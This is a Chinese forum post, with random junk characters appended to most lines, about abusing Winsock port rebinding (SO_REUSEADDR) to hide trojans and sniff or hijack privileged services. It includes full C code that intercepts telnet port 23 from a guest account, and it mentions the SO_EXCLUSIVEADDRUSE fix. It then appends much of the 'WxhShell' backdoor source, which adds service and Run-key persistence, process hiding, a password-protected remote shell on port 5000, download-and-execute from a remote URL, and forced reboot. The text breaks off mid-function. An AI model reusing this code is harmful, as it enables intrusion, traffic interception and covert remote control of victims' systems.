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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +k[w)7Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); WpRM|"CF  
(6b0rqPF  
  saddr.sin_family = AF_INET; hE<Sm*HU  
EV7lgKM^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); &xp]9$  
^x_$%8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); E'NS$,h  
YOUB%N9+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 = |2F?  
X#zp,7j?  
  这意味着什么?意味着可以进行如下的攻击: U+C ^"[B  
:}-?X\|\  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :6/$/`I0W  
^;tB,7:*V  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) lS#^v#uS  
q([{WZ:6Oq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =^\?{oV  
oxdX2"WwU  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  B{p74 >  
zg$ag4%Qgg  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 >8b%*f8R  
 ) TRUx  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 @4]{ZUV  
~O]{m,)n  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 mkrVeBp  
{'z$5<|  
  #include A(n#k&W1fZ  
  #include 0Ue~dVrM(?  
  #include s+z5"3'n  
  #include    \A)Pcc}7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ` U-vXP  
  int main()  m]H]0T  
  { |o'r?"  
  WORD wVersionRequested; Zxozhmg  
  DWORD ret; ZOpKi:\  
  WSADATA wsaData; 2e03m62*  
  BOOL val; ,eWLig  
  SOCKADDR_IN saddr; GLX{EG9Z  
  SOCKADDR_IN scaddr; EVC]B}  
  int err; ayQeT  
  SOCKET s; drk BW}_  
  SOCKET sc; Od:-fw  
  int caddsize; o\; hF3   
  HANDLE mt; dZI["FeO&d  
  DWORD tid;   67 ~pn  
  wVersionRequested = MAKEWORD( 2, 2 ); ;tF&r1  
  err = WSAStartup( wVersionRequested, &wsaData ); R[)bGl6#  
  if ( err != 0 ) { @#$(Cs*{]  
  printf("error!WSAStartup failed!\n"); p1K]m>Y{?  
  return -1; 4nGt*0Er  
  } Uw!d;YQm  
  saddr.sin_family = AF_INET; s|`wi}"x  
   6> z{xYat  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 l(}MM|ka  
M"bG(a(6:  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); e`q*'u1?  
  saddr.sin_port = htons(23); =Y5m% ,Bq  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =\oL'>q  
  { gVI`&W__,  
  printf("error!socket failed!\n"); i5&,Bpfo-  
  return -1; uG +ZR: _  
  } ST;o^\B  
  val = TRUE; =p"ma83  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 p \9}}t7n  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) r-*6# "  
  { GN:|b2 "  
  printf("error!setsockopt failed!\n"); #S x  
  return -1; 6(uZn=  
  } wG9aX*(n  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .l5-i@=W  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lI+^}-<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +!!G0Zj/  
"tK|/R+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) %>6ilG Q+  
  { c!'\k,ma<9  
  ret=GetLastError(); &I(\:|`o  
  printf("error!bind failed!\n"); >tx[UF@P@  
  return -1; pnyu&@e  
  } Bq1}"092  
  listen(s,2); #NYHwO<0-  
  while(1) -A=3W3:C  
  { *?]<=IV?  
  caddsize = sizeof(scaddr); c b&Yf1  
  //接受连接请求 xI~A Z:m  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); aM(#J7;  
  if(sc!=INVALID_SOCKET) P=6d<no&<  
  { wf &Jd:)4t  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ';My"/ Z-  
  if(mt==NULL) +6 =lN[b  
  { TA2ETvz^  
  printf("Thread Creat Failed!\n"); ! K_<hNG&  
  break; E_DQ.!U!o  
  } he:z9EG}  
  } Xo] 2iQy  
  CloseHandle(mt); yU4mS;GX  
  } }.Z `   
  closesocket(s); 9V[}#(f$  
  WSACleanup(); sR[!6[AA  
  return 0; x[&<e<6  
  }   u@`a~  
  DWORD WINAPI ClientThread(LPVOID lpParam) G%;>_E  
  { 6H5o/)Q~  
  SOCKET ss = (SOCKET)lpParam; pe2:~}WB  
  SOCKET sc; VJT /9O)Z|  
  unsigned char buf[4096]; XWQ `]m)  
  SOCKADDR_IN saddr; tHHJ|4C  
  long num; @"1Z;.S8V  
  DWORD val; .4tu{\YX  
  DWORD ret; ('UTjV  
  //如果是隐藏端口应用的话,可以在此处加一些判断 0t}v@-abU  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F:q8.^HTJ  
  saddr.sin_family = AF_INET; bt_c$TN  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); B RskxyL&,  
  saddr.sin_port = htons(23); ;1 {=t!z=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) #;W4$ q  
  { (GC5r#AnS  
  printf("error!socket failed!\n"); 9==4T$nM[  
  return -1; LjTSu9I>  
  } l U4 I*  
  val = 100; *w O~RnP  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) wy#>Aq  
  { &Tj7qlP\  
  ret = GetLastError(); FQ1B%u|  
  return -1; 5pe)CjE:  
  } WZPj?ou`G  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) cs.t#C  
  { O-K*->5S  
  ret = GetLastError(); qsbV)c  
  return -1; w,vnpdT  
  } "~._G5i.  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) PnInsf%;  
  { q5=,\S3=  
  printf("error!socket connect failed!\n"); ]1Wxa?  
  closesocket(sc); ^v'0\(H?P  
  closesocket(ss); G.~ Q2O#T  
  return -1; REE .8_  
  } L 6fbR-&Lt  
  while(1) strM3j##x  
  { 2,`X@N`\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 X&LJ"ahK  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 W;2J~V!c  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3nc\6v%  
  num = recv(ss,buf,4096,0); 5N%d Les  
  if(num>0) *fI n<Cc  
  send(sc,buf,num,0); 6w;`A9G[YI  
  else if(num==0) zow8 Q6f  
  break; u_ l?d  
  num = recv(sc,buf,4096,0); /.CS6W^z  
  if(num>0) %=9o'Y,4  
  send(ss,buf,num,0); Z|Rc54Ct  
  else if(num==0) @KU;' th  
  break; ;CF:cH*  
  } *pSnEWwE  
  closesocket(ss); g3&nxZ  
  closesocket(sc); CJ%'VijhD  
  return 0 ; K8MET&  
  } ,f>9oOqqA  
^>Z_3 {s:$  
8h@L_*Kr  
========================================================== QOYMT( j  
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下边附上一个代码,,WXhSHELL ej&.tNvq  
9X=<uS  
========================================================== `y^\c#k  
amC)t8L?  
#include "stdafx.h" Ao}<a1f  
dVj2x-R)  
#include <stdio.h> Nr `R3(X  
#include <string.h> LO)!Fj4|  
#include <windows.h> Ui (nMEon  
#include <winsock2.h> Fj~suZ`  
#include <winsvc.h> D6Aa5&rO+  
#include <urlmon.h> =<p=?16 x  
OZ e&p  
#pragma comment (lib, "Ws2_32.lib")  c1s&  
#pragma comment (lib, "urlmon.lib") 2p\xgAW?  
wn!=G~nB  
#define MAX_USER   100 // 最大客户端连接数 E z}1Xse  
#define BUF_SOCK   200 // sock buffer YX-j|m|  
#define KEY_BUFF   255 // 输入 buffer X5VNj|IE  
JfSe; v  
#define REBOOT     0   // 重启 ox&? `DO  
#define SHUTDOWN   1   // 关机 eS@j? Y0y  
F I[BZZW  
#define DEF_PORT   5000 // 监听端口 QY&c=bWAX"  
j,^&U|!  
#define REG_LEN     16   // 注册表键长度 Gg ~0>XS  
#define SVC_LEN     80   // NT服务名长度 JN+7o h]u  
p<L{e~{!7f  
// 从dll定义API l~o!(rpX  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?2~fvMWu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [1kQ-Ko`  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;5[ OS8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XWS]4MB+vm  
|TM n  
// wxhshell配置信息 d/OP+yzgZ  
struct WSCFG { e3TKQ (  
  int ws_port;         // 监听端口 -"JmQ Fha  
  char ws_passstr[REG_LEN]; // 口令 3w"JzC@  
  int ws_autoins;       // 安装标记, 1=yes 0=no vu^mLc  
  char ws_regname[REG_LEN]; // 注册表键名 .Vnb+o  
  char ws_svcname[REG_LEN]; // 服务名 4 xbWDu]  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =dA] nM  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oj Y.6w  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~nmFZ] y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no X5/fy"g&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" `MPR-"Z6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 k &J;,)V  
,m?V3xvq  
}; s.Z{mnD6  
a dr\l5pWQ  
// default Wxhshell configuration cYg J}(>}  
struct WSCFG wscfg={DEF_PORT, n ng|m  
    "xuhuanlingzhe", bS~Y_]B  
    1, b:hta\%/2  
    "Wxhshell", ydO+=R0M  
    "Wxhshell", _xePh  
            "WxhShell Service", 1q-;+Pd;  
    "Wrsky Windows CmdShell Service", qK d ="PR}  
    "Please Input Your Password: ", o [V8h @K)  
  1, Qe _{<E  
  "http://www.wrsky.com/wxhshell.exe", >xS({1A}  
  "Wxhshell.exe" nfHjIYid  
    }; "J+L]IC?AD  
"0jwCX Cu  
// 消息定义模块 Q%d%Io\-t  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; erUK; +2g  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7afG4 (<k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U?f-/@fc  
char *msg_ws_ext="\n\rExit."; 83Rs1}*  
char *msg_ws_end="\n\rQuit."; f|w;u!U(  
char *msg_ws_boot="\n\rReboot..."; |"9&F  
char *msg_ws_poff="\n\rShutdown..."; 7\98E&  
char *msg_ws_down="\n\rSave to "; }M%3  
6}N`YOJ.  
char *msg_ws_err="\n\rErr!"; L5 `k3ap|  
char *msg_ws_ok="\n\rOK!"; 6#*_d,xQT  
M KW~rrR  
char ExeFile[MAX_PATH]; WFahb3kx  
int nUser = 0; gdTW ~b  
HANDLE handles[MAX_USER]; ]R)wBug  
int OsIsNt; ZwsQ}5  
`9[n5-t  
SERVICE_STATUS       serviceStatus; a5t&{ajJ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8j70X <R  
0{ mm%@o  
// 函数声明 F<p`)?  
int Install(void); vLN KX;9  
int Uninstall(void); ,NZllnW  
int DownloadFile(char *sURL, SOCKET wsh); ANBuX6q  
int Boot(int flag); duEXp]f!  
void HideProc(void); fiWN^sTM  
int GetOsVer(void); X [dfms;H  
int Wxhshell(SOCKET wsl); \MRd4vufv  
void TalkWithClient(void *cs); oc] C+l  
int CmdShell(SOCKET sock); v"yu7tZ3N  
int StartFromService(void); B2]52Fg-"  
int StartWxhshell(LPSTR lpCmdLine); V{oFig 6  
zCo$YP#5_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); bLG7{qp  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); _h ^.`Tz,  
/+%aSPQ  
// 数据结构和表定义 ,}'8. f  
SERVICE_TABLE_ENTRY DispatchTable[] = oH0g>E;  
{ jnOnV1I"  
{wscfg.ws_svcname, NTServiceMain}, q1u$Sm  
{NULL, NULL} GNv{ Ij<  
}; Cscu   
X:Wd%CHP  
// 自我安装 v.8kGF  
int Install(void) Q<AOc\oO  
{ ~HGSA(  
  char svExeFile[MAX_PATH]; SF; \*]["f  
  HKEY key; l VD{Y`)  
  strcpy(svExeFile,ExeFile); P-2DBNB7  
'J} ?'{.  
// 如果是win9x系统,修改注册表设为自启动 0 `7y Pq*  
if(!OsIsNt) { C=o-3w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,i}EGW,9q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )-5eIy  
  RegCloseKey(key); )-[$m%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9yTdbpY  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JW0\y+o~  
  RegCloseKey(key); q7KHx b  
  return 0; [Lje?M* r  
    } L:Rg3eo  
  } +8Q @R)3  
} CtN\-E-  
else { wg)Bx#>\L:  
7Ji'7$  
// 如果是NT以上系统,安装为系统服务 )C?H m^ #  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); a+lNXlh=  
if (schSCManager!=0) %$zak@3%'  
{ ;5X~"#%U_  
  SC_HANDLE schService = CreateService ({Md({|  
  ( \jk* Nm8;  
  schSCManager, _ s}aF  
  wscfg.ws_svcname, NbU4|O i  
  wscfg.ws_svcdisp, t^MTR6y+8  
  SERVICE_ALL_ACCESS, &aIFtlC  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , } G{"Mp4  
  SERVICE_AUTO_START, `)8~/G%  
  SERVICE_ERROR_NORMAL, _GxC|d  
  svExeFile, w=_^n]`R  
  NULL, {'+{ASpO!  
  NULL, `+< ^Svou  
  NULL, Brs6RkRf  
  NULL, <& PU%^Ha  
  NULL {jYVA~.|Z  
  ); Lb Jf5xdi  
  if (schService!=0) w?u3e+  
  { m,kYE9 {  
  CloseServiceHandle(schService);  ]'% iR  
  CloseServiceHandle(schSCManager); l:@=9Fp>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); g,iW^M  
  strcat(svExeFile,wscfg.ws_svcname); ,rN$ah$CL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I$sXbM;z=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hfIP   
  RegCloseKey(key); } x r0m+/  
  return 0; :I&y@@UG  
    } _XP}f x7$C  
  } mYo~RXKGF  
  CloseServiceHandle(schSCManager); 7{M&9| aK  
} q M_c-^F  
} Jf= V<  
#]1 jvB  
return 1; |)>+& xk  
} %pxJ27Q  
rlh:| #GTJ  
// 自我卸载 y-H9fWi8Y&  
int Uninstall(void) kw z6SObQ  
{ `,~'T [  
  HKEY key; \(Nx)F  
A405igF  
if(!OsIsNt) {  #9}1Lo>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { z0\ $# r^I  
  RegDeleteValue(key,wscfg.ws_regname); zx8@4?bK  
  RegCloseKey(key); 9C?SEbC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { b 4^O=  
  RegDeleteValue(key,wscfg.ws_regname); |;|r[aU  
  RegCloseKey(key); Q hRz57'  
  return 0; gzhIOeY  
  } c ZYvP  
} S)ipkuj X  
} CzreX3i  
else { "@VYJ7.1  
e%ro7~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); arR<!y7  
if (schSCManager!=0) y,rdyt  
{ ^zT=qB l  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |9 5K  
  if (schService!=0) w2b(,w  
  { (5Q<xJ  
  if(DeleteService(schService)!=0) { RgH 6l2  
  CloseServiceHandle(schService); v9@_ DlV\  
  CloseServiceHandle(schSCManager); ua=7YG  
  return 0; V!. Y M)B  
  } onmkg}&_  
  CloseServiceHandle(schService); E71H=C 4  
  } @^ta)Ev  
  CloseServiceHandle(schSCManager); $A5O>  
} _VgFuU$h  
} o@PvA1  
!!ZGNZ_  
return 1; v]@ XyF\j8  
} T}?b,hNl$  
T[e+iv<8j  
// 从指定url下载文件 sF :pwI5^  
int DownloadFile(char *sURL, SOCKET wsh) g2?W@/pa  
{ &?p( UY7'"  
  HRESULT hr; b-VQn5W  
char seps[]= "/"; Q~f]?a`  
char *token; xv147"w'v  
char *file; p)Q5fh0-  
char myURL[MAX_PATH]; )Z4iM;4]  
char myFILE[MAX_PATH]; $; _{|{Yj  
wpN [0^M-0  
strcpy(myURL,sURL); zobFUFx  
  token=strtok(myURL,seps); P}Mu|AEG  
  while(token!=NULL) cr0/.Zv)  
  { WN|_IJR~  
    file=token; >mvE[iXRG?  
  token=strtok(NULL,seps); .%J<zqk-  
  } +|GHbwvp  
b(U5n"cdA  
GetCurrentDirectory(MAX_PATH,myFILE); #sF#<nHZ  
strcat(myFILE, "\\"); hEo$Jz`  
strcat(myFILE, file); ]==7P;_-  
  send(wsh,myFILE,strlen(myFILE),0); K ~-V([tWg  
send(wsh,"...",3,0); 2 7dS.6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); $aT '~|?  
  if(hr==S_OK) & \5Ur^t  
return 0; )L "Dt_t  
else ^j.3'}p  
return 1; YsCY~e&  
daA&!vnbH*  
} +6+1N)L  
Kn1u1@&Xd  
// 系统电源模块 ZBU<L+#  
int Boot(int flag) krlebPs[  
{ elKp?YN  
  HANDLE hToken; OUN~7]OD%  
  TOKEN_PRIVILEGES tkp; ?G9DSk?6%Z  
*b{Hj'HaH  
  if(OsIsNt) { /'VuMMJ2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 1bw$$QXC_  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ODpAMt"  
    tkp.PrivilegeCount = 1; {='wGx  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n]w%bKc-9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); @pJ;L1sn  
if(flag==REBOOT) { )9/iH(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) %( %EEt  
  return 0; ]{|l4e4P  
} w0=/V[fs  
else { \zA3H$Df~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g=v'[JPd  
  return 0; &,Rye Q  
} 7?_g m>]a  
  } i 28TH Jh  
  else { K",Xe>  
if(flag==REBOOT) { v'`qn  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rOUQg_y  
  return 0; h;(mb2[R  
} lt5Knz2G,Z  
else { (?T{^Hg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3-;<G  
  return 0; SFP?ND+7  
} *fyaAv  
} ,5~C($-t  
9w0v?%%_  
return 1; &'i.W}Ib!  
} "f3mi[  
f@Ve,i  
// win9x进程隐藏模块 gm:Y@6W  
void HideProc(void) u  XZ;K.  
{ 8 f~M6  
:c}PW"0v  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); h6`VU`pPI  
  if ( hKernel != NULL ) \Yv4 4*I`  
  { md9JvbB  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4/SltWU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E.*wNah"U  
    FreeLibrary(hKernel); 6khm@}}  
  } W8]?dL}|  
Qe9}%k6@E  
return; 7<8'7<X  
} j\B taC  
`X&d:!}F  
// 获取操作系统版本 -@'RYY=  
int GetOsVer(void) %vG;'_gM B  
{ D iHj!tZN  
  OSVERSIONINFO winfo; ^h`rA"F\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hp(41Eb,  
  GetVersionEx(&winfo); :q2RgZE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 5Ktll~+:#  
  return 1; L&5zr_  
  else m+pK,D~{"  
  return 0; WdJeh:h  
} ?WS.RBe2  
3c`  
// 客户端句柄模块 n:<Xp[;R  
int Wxhshell(SOCKET wsl) ay{]Vqi9  
{ *`bES V :  
  SOCKET wsh; \D%n8O  
  struct sockaddr_in client; OMjx,@9  
  DWORD myID; Z#;\Rb.x7  
u VUrg;>  
  while(nUser<MAX_USER) 5!6iAS+I  
{ _|{pO7x]oG  
  int nSize=sizeof(client); !D 'A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); S->Sp  
  if(wsh==INVALID_SOCKET) return 1; 5VN~?#K  
NfCo)C-t  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); O]25 {L  
if(handles[nUser]==0) WUx2CK2N  
  closesocket(wsh); yaI jXv  
else --`W1!jI@  
  nUser++; Sn;q:e3i{A  
  } $nf %<Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); BMU#pK;P]  
KWw?W1H  
  return 0; z5f3T D6,  
} ; ?,'jI*1  
m&_!*3BAG  
// 关闭 socket ]7|qhAh<L  
void CloseIt(SOCKET wsh) X5Y. o&  
{ b%j4W)Z  
closesocket(wsh); _z"\3hZ  
nUser--; Z= pvoTY  
ExitThread(0); PB{5C*Y7^k  
} DxP65wU  
> 3l3  
// 客户端请求句柄 K}LF ${bS  
void TalkWithClient(void *cs) . Eb=KG  
{  t|:XSJ9  
Fow{-cs_p  
  SOCKET wsh=(SOCKET)cs; E3_ 5~>  
  char pwd[SVC_LEN]; ~~,#<g[  
  char cmd[KEY_BUFF];  n4AQ  
char chr[1]; ugW.nf*O  
int i,j; <ou=f'  
f(-3d*g  
  while (nUser < MAX_USER) { d\ Xijy  
dpcv'cRfw  
if(wscfg.ws_passstr) { r?Pk}Q  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $! UEpQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p1\E C#Q  
  //ZeroMemory(pwd,KEY_BUFF); <2w 41QZX  
      i=0; UzkX;UA  
  while(i<SVC_LEN) { Hn?v  /3  
xl@  
  // 设置超时 &!8u4*K5j  
  fd_set FdRead; ?)/H8n  
  struct timeval TimeOut; +|O& k  
  FD_ZERO(&FdRead); ?,!C0ts  
  FD_SET(wsh,&FdRead); qd [Z\B  
  TimeOut.tv_sec=8; X5P1wxk'  
  TimeOut.tv_usec=0; RJOyPZ]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P76QHBbl  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k8ymOx  
wpJfP_H  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N..@}}  
  pwd=chr[0]; _8?r!D#P;s  
  if(chr[0]==0xd || chr[0]==0xa) { f{R/rb&iB  
  pwd=0; pW2-RHGJY  
  break; \XG\  
  } u|&a!tOf2  
  i++; !2=eau^p  
    } #tt*yOmiH  
|w`Q$ c  
  // 如果是非法用户,关闭 socket tp+H]H3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [V,f@}m F  
} x):h|/B  
|H-zm&h>'  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); .\AbE*lZ#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &qeM YYY  
;c>IM]  
while(1) { 4p/d>DTiM  
4ko(bW#jL  
  ZeroMemory(cmd,KEY_BUFF); =a./HCF  
7Dx <Sr!  
      // 自动支持客户端 telnet标准   kM@heFJb.  
  j=0; ^WIGd"^  
  while(j<KEY_BUFF) { JVNp= ikK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B#x.4~YX  
  cmd[j]=chr[0]; ;kF+V*  
  if(chr[0]==0xa || chr[0]==0xd) { ~YrO>H` B  
  cmd[j]=0; ' sTMUPg`  
  break; *8xMe  
  } 1"} u51  
  j++; 8|\?imOp\[  
    } t9m08K:Y  
H5p&dNO  
  // 下载文件 g=n /w  
  if(strstr(cmd,"http://")) { =xsTVT;sj  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8u#2M8.5E  
  if(DownloadFile(cmd,wsh)) [e`6gGO  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); Fop'm))C8  
  else . ,n>#lL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); U_C 1GT-|  
  } ioS(;2F  
  else { RE75TqYW  
r4Jc9Tv d  
    switch(cmd[0]) { Y**|e4  
  zvnR'\A_  
  // 帮助 y8=H+Y  
  case '?': { *Nh[T-y(s  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); -85W/%  
    break; xsdi\ j;n>  
  } '#@tovr  
  // 安装 qFYM2  
  case 'i': { ju?D=n@i  
    if(Install()) G^/8lIj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mi&jl_&  
    else TbA=bkj[4  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \ POQeZ  
    break; X=i",5;  
    } ]B r 6!U4~  
  // 卸载 g\lEdxm6Sj  
  case 'r': { ;B !u=_'  
    if(Uninstall()) YA%0{Tdxz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vi_6O;  
    else * k ^?L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *b+ ~@o  
    break; _G=k^f_  
    } H^C$2f  
  // 显示 wxhshell 所在路径 Z`Sbq{Kx  
  case 'p': { HH94?&  
    char svExeFile[MAX_PATH]; :LEC[</yvl  
    strcpy(svExeFile,"\n\r"); As-xO~+  
      strcat(svExeFile,ExeFile); C;NG#4;'  
        send(wsh,svExeFile,strlen(svExeFile),0); -7:_Dy  
    break; (S1Co&SX  
    } 1=Nh<FuQ  
  // 重启 ct![eWsuB  
  case 'b': { ~zT743  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); R\d)kcy4  
    if(Boot(REBOOT)) sW]fPa(cn,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,c9K]>8m`  
    else { =S:Snk%  
    closesocket(wsh); d/Y#oVI  
    ExitThread(0); wmnh7'|0u  
    } MGE8S$Z  
    break; X(*MHBd  
    }  c 1o8   
  // 关机 6@; P  
  case 'd': { XPQY*.l&.  
